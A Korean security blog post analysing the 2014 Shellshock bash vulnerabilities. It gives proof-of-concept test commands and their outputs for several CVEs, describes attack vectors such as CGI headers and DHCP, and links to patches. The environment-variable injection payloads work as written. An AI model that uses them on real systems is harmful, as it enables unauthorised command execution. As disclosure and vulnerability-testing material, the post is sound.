# History
- 최초 게시 : 2014.09.24
- 1st 업데이트 : 2014.09.27 – 우회코드에 관한 정보가 업데이트 되었습니다.
- 2nd 업데이트 : 2014.09.30 – 추가로 알려진 CVE 들과 테스트 코드 정보가 업데이트 되었습니다.
- 3nd 업데이트 : 2014.10.04 – History 정보, 추가적인 취약점 분석정보, 관련 악성코드 이슈가 업데이트 되었습니다.
# 취약점 정보
- CVE Number : CVE-2014-6271
- 영향을 받는 소프트웨어 : GNU Bash(Bourne Again SHell)
- 요약 : bash 환경변수를 통한 코드인젝션 가능 취약점
- 테스트 환경 (hacksum 기준)
- 우분투 12.04 / GNU bash, version 4.2.24(1)-release (i686-pc-linux-gnu) – 취약함
- Mac OS X 10.7.5 / GNU bash, version 3.2.48(1)-release (x86_64-apple-darwin11) – 취약함
- CentOS release 6.3 / GNU bash , version 4.1.2(1)-release (x86_64-redhat-linux-gnu) – 취약함
# 알려진 Bash 관련 취약점 CVEs
기존의 알려진 2개의 CVE 취약점 외에 현재까지 알려진 Bash 취약점 관련 CVE는 다음과 같습니다.
- 환경 변수 관련 취약점들 :
- CVE-2014-6271
- CVE-2014-7169
- CVE-2014-6277
- CVE-2014-6278
- 일반적인 취약점들 :
- CVE-2014-7186 : redir_stack 상의 고정된 길이로 인한 오버플로우 취약점
- CVE-2014-7187 : off-by-one 오류로 인한 취약점
# 취약점 테스트
>> CVE-2014-6271
기본적인 취약점부터 간단하게 확인하고 넘어가 볼까요?
bash 는 쉘 변수 뿐만 아니라 쉘 함수도 다른 bash 인스턴스로 Exporting 하는 것이 가능하다고 합니다.
그렇게 하기 위해, Environment 를 통해 새롭게 추가된 함수정의(definition)를 전파하기 위해 함수이름으로 환경변수를 만들고 그 변수 안에 “() {” 로 시작하는 함수 내용을 정의합니다.
[환경변수]='() { return; };’
그런데, 취약한 버전의 bash 구현의 경우, 다음과 같이 함수정의 뒤에 임의의 명령을 추가하면 bash 프로세스에서 해당 환경변수를 임포트할 때 끝에 추가된 명령까지 같이 실행하게 됩니다.
[환경변수]='() { return; }; [임의의 명령]’
실제 다음과 같이 환경변수에 추가한 후 bash 명령을 실행해보면 먼저 환경변수에 들어가 있는 명령이 수행되네요.
bash-3.2$ env x='() { :;}; echo vulnerable’ bash -c “echo this is a test”
vulnerable
this is a test
[출처] SECURITY BLOG
bash-3.2$ env test='() { return;}; id’ bash -c “echo this is a vulnerable”
uid=502(redhidden) gid=20(staff)
…중간생략….
Segmentation fault: 11 <—- bash는 문제가 있어서 크래쉬되지만 임의의 코드는 실행됨.
>> CVE-2014-7169
다음과 같이 추가적인 취약점 테스트 코드가 발견되었네요..
앞서 설명한 테스트 코드 외에 우회를 통해 파일생성을 테스트할 수 있는 코드가 있어서 추가 테스트해봅니다.
해당 테스트 우회코드를 위해서는 CVE-2014-7169 관련 패치를 적용해야 한다고 합니다.
$ cd /tmp; rm -f /tmp/echo; env ‘x=() { (a)=>\’ bash -c “echo date”; cat /tmp/echo
다음과 같이 테스트 결과 파일 정의에 대한 메시지가 떠도 실제 echo 라는 파일이 생성되면 아직 취약한 상태입니다.
파일의 존재 유무를 확인해보세요.
- 실제 생성 파일명을 결정하는 부분은 “echo date”; 이고, 취약한 경우 “echo” 라는 파일생성과 날짜정보 출력됨.
- 뒤에 cat /tmp/echo 부분은 취약점이 성공한 결과 확인을 위해 생성된 파일명 echo 파일을 읽는 추가코드임.
- 혹시 추가적으로 테스트 파일명을 변경하고자 한다면, 앞과 뒤 파일명을 모두 동일하게 하지 않으면 출력 메시지에 파일이 생성되어도 “cat: [변경파일명]: 그런 파일이나 디렉터리가 없습니다.” 메시지를 얻게됨.
- 또한, 원본코드와 싱글쿼테이션의 위치가 아래와 같이 달라도 코드 실행에는 문제가 없음.
env x=‘() {(a)=>\’ sh -c 또는 env ‘x=() {(a)=>\’ sh -c
실제 위의 코드는 내부적으로 date 명령을 echo 라는 파일에 redirection 해서 저장하도록 처리된다.
따라서, 실제 생성된 파일 echo에는 date 명령이 수행된 결과가 저장되어 있다.
[출처] https://access.redhat.com/articles/1200223
>> CVE-2014-7186
해당 취약점은 환경변수 관련이 아닌 Bash 상에서 고정된 redir_stack 으로 인하여 발생하는 오버플로우 취약점입니다.
취약한 버전의 패치 전 소스(parse)에 보면, redir_stack이 10개의 Array로 고정되어 있는 것을 알 수 있습니다.
-static REDIRECT *redir_stack[10];
+static REDIRECT **redir_stack;
int need_here_doc;
따라서, 알려진 테스트 코드에서와 다음과 같이 10개 이상의 Redirection 이 사용되는 경우,
root@localhost ~]# bash -c ‘true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF’ || echo “CVE-2014-7186 vulnerable, redir_stack”
정상적인 처리 때와 달리 Array 인덱스를 참조하는 과정에서 Array 외를 참조하게 되어 아래와 같이메모리 오류(corruption)로 인하여 Segmentation fault가 발생한다.
[그림] redirection 10 개 이상의 취약점 테스트 코드
테스트 코드에서는 ||(or) 명령으로 2개의 코드를 연결해서 취약점으로 인하여 세그먼트 폴트가 발생하면 뒤에 echo~ 명령이 수행되어 취약하다는 문구를 찍도록 구성해 놓았다.
# 취약점 실전활용
해당 취약점을 실제 공격에 활용하기 위해서는 환경변수에 원하는 코드를 추가하면 되고, 원격으로 사용자가 환경변수 접근할 수 있는 애플리케이션이 무엇이 있는 지 찾아봐야겠죠?
대표적인 사례들은 아래에 잘 정리되어 있습니다. 참고하세요 ^^;;
- ForceCommand is used in sshd configs to provide limited command execution capabilities for remote users. This flaw can be used to bypass that and provide arbitrary command execution. Some Git and Subversion deployments use such restricted shells. Regular use of OpenSSH is not affected because users already have shell access.
- Apache server using mod_cgi or mod_cgid are affected if CGI scripts are either written in bash, or spawn subshells. Such subshells are implicitly used by system/popen in C, by os.system/os.popen in Python, system/exec in PHP (when run in CGI mode), and open/system in Perl if a shell is used (which depends on the command string).
- PHP scripts executed with mod_php are not affected even if they spawn subshells.
- DHCP clients invoke shell scripts to configure the system, with values taken from a potentially malicious server. This would allow arbitrary commands to be run, typically as root, on the DHCP client machine.
- Various daemons and SUID/privileged programs may execute shell scripts with environment variable values set / influenced by the user, which would allow for arbitrary commands to be run.
- Any other application which is hooked onto a shell or runs a shell script as using bash as the interpreter. Shell scripts which do not export variables are not vulnerable to this issue, even if they process untrusted content and store it in (unexported) shell variables and open subshells.
[출처] SECURITY BLOG
앞서 알려진 많은 공격 가능성 중에서 2)번에 사례에 대해서만 간단하게 테스트해 보겠습니다.
다음과 같이 공격이 성공할 수 있는 조건을 고려합니다.
- CGI 가 지원되는 웹서버(Apache)/CentOS (http://192.168.1.115/)
- 취약한 버전의 GNU bash , version 4.1.2(1)-release (x86_64-redhat-linux-gnu) 사용
- bash 로 짜여진 CGI 페이지(normal.cgi)
- 공격에 사용한 헤더 : User-Agent 헤더 (환경변수로 저장됨)
다음과 취약점을 이용해서 패스워드 파일을 읽어오는 등의 임의의 코드실행이 가능하다.
해당 테스트 공격시연에서는 Bash 로 짜여진 CGI를 사용하였으나 이 외에도 다음과 같은 경우 공격이 성공합니다.
- bash 로 짜여진 CGI 페이지(normal.cgi)
- C, Python, PHP으로 짜여진 CGI는 system/popen(os.system/os.popen, system/exec) 을 사용하는 경우
- Perl 로 짜여진 CGI는 Bash 쉘을 통해 open/system 함수를 사용하는 경우
- HTTP_USER_AGENT
- HTTP_HOST
- ACCEPT_LANGUAGE
- ACCEPT_ENCODING
- CACHE_CONTROL
- ….
# 취약점 점검코드 및 툴
취약점 발표 이후 알려진 취약점들을 테스트할 수 있는 다양한 테스트 툴과 코드들 소개되고 있다.
그 중 대표적인 몇 가지 사례에 대해서만 테스트 해보자.
1) Shellshocker-pocs 를 이용한 테스트
(출처 : https://github.com/mubix/shellshocker-pocs)
CVE-2014-6271
[root@localhost ~]# env x='() { :;}; echo “CVE-2014-6271 vulnerable”‘ bash -c id
>> 취약한 경우,
CVE-2014-6271 vulnerable
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
>> 패치된 경우,
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
CVE-2014-7169
[root@localhost ~]# env X='() { (a)=>\’ bash -c “echo date”; cat echo
>> 취약한 경우,
bash: X: line 1: syntax error near unexpected token `=’
bash: X: line 1: `’
bash: error importing function definition for `X’
2014. 09. 30. (í™”) 10:33:40 EDT
[root@localhost ~]# ls echo
echo
>> 패치된 경우,
date
cat: echo: No such file or directory
CVE-2014-7186
root@localhost ~]# bash -c ‘true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF’ || echo “CVE-2014-7186 vulnerable, redir_stack”
>> 취약한 경우,
세그멘테이션 오류(core dumped)
CVE-2014-7186 vulnerable, redir_stack
>> 패치된 경우,
bash: warning: here-document at line 0 delimited by end-of-file (wanted `EOF’)
bash: warning: here-document at line 0 delimited by end-of-file (wanted `EOF’)
.. 반복..
CVE-2014-7187
[root@localhost ~]# (for x in {1..200} ; do echo “for x$x in ; do :”; done; for x in {1..200} ; do echo done ; done) | bash || echo “CVE-2014-7187 vulnerable, word_lineno”
>> 취약한 경우,
bash: line 129: syntax error near `x129′
bash: line 129: `for x129 in ; do :’
CVE-2014-7187 vulnerable, word_lineno
>> 패치된 경우,
.. 메시지 없음 …
2) BashCheck 를 이용한 테스트
(출처 : https://github.com/hannob/bashcheck/blob/master/bashcheck)
해당 툴의 경우 추가적으로 아래 CVE-2014-6277 (lcamtuf bug) 취약점에 대한 추가적인 테스트가 더 포함되어 있다.
또한, 기존의 echo를 통한 취약한 메시지를 출력하는 대신, “2>/dev/null” 코드를 추가해서 스크립트 실행 시 에러를 모두 지우고 리턴 결과를 통해 취약성 여부를 확인하고 있다.
>> 취약한 경우,
root@localhost ~]# ./bashcheck.sh
Vulnerable to CVE-2014-6271 (original shellshock)
Vulnerable to CVE-2014-7169 (taviso bug)
./test.sh: line 18: 29396 세그멘테이션 오류 (core dumped) bash -c “true $(printf ‘<<EOF %.0s’ {1..79})” 2> /dev/null
Vulnerable to CVE-2014-7186 (redir_stack bug)
Test for CVE-2014-7187 not reliable without address sanitizer
Variable function parser still active, likely vulnerable to yet unknown parser bugs like CVE-2014-6277 (lcamtuf bug)
>> 패치된 경우,
Not vulnerable to CVE-2014-6271 (original shellshock)
Not vulnerable to CVE-2014-7169 (taviso bug)
Not vulnerable to CVE-2014-7186 (redir_stack bug)
Test for CVE-2014-7187 not reliable without address sanitizer
Variable function parser inactive, likely safe from unknown parser bugs
# 실전공격 사례
The Shellshock Aftershock for NAS Administrators
http://www.fireeye.com/blog/technical/2014/10/the-shellshock-aftershock-for-nas-administrators.html
# 취약점 해결방법
방법은 간단히 Bash(Bourne Again SHell) 버전 업데이트입니다. ^^;;
- RedHat Enterprise 4(els), 5, 6, 7 – https://access.redhat.com/solutions/1207723
- 우분투 10.04(lts), 12.04(lts), 14.04(lts) – http://www.ubuntu.com/usn/usn-2362-1/
- CentOS 5,6,7 – http://lists.centos.org/pipermail/centos/2014-September/146099.html
…… 죄송합니다… 해결책 부분은 추가적으로 업데이트되지 않습니다…….
# 참고
- http://seclists.org/oss-sec/2014/q3/650
- https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
- http://www.walbrix.com/jp/blog/2014-09-bash-code-injection.html
- http://shellshock.net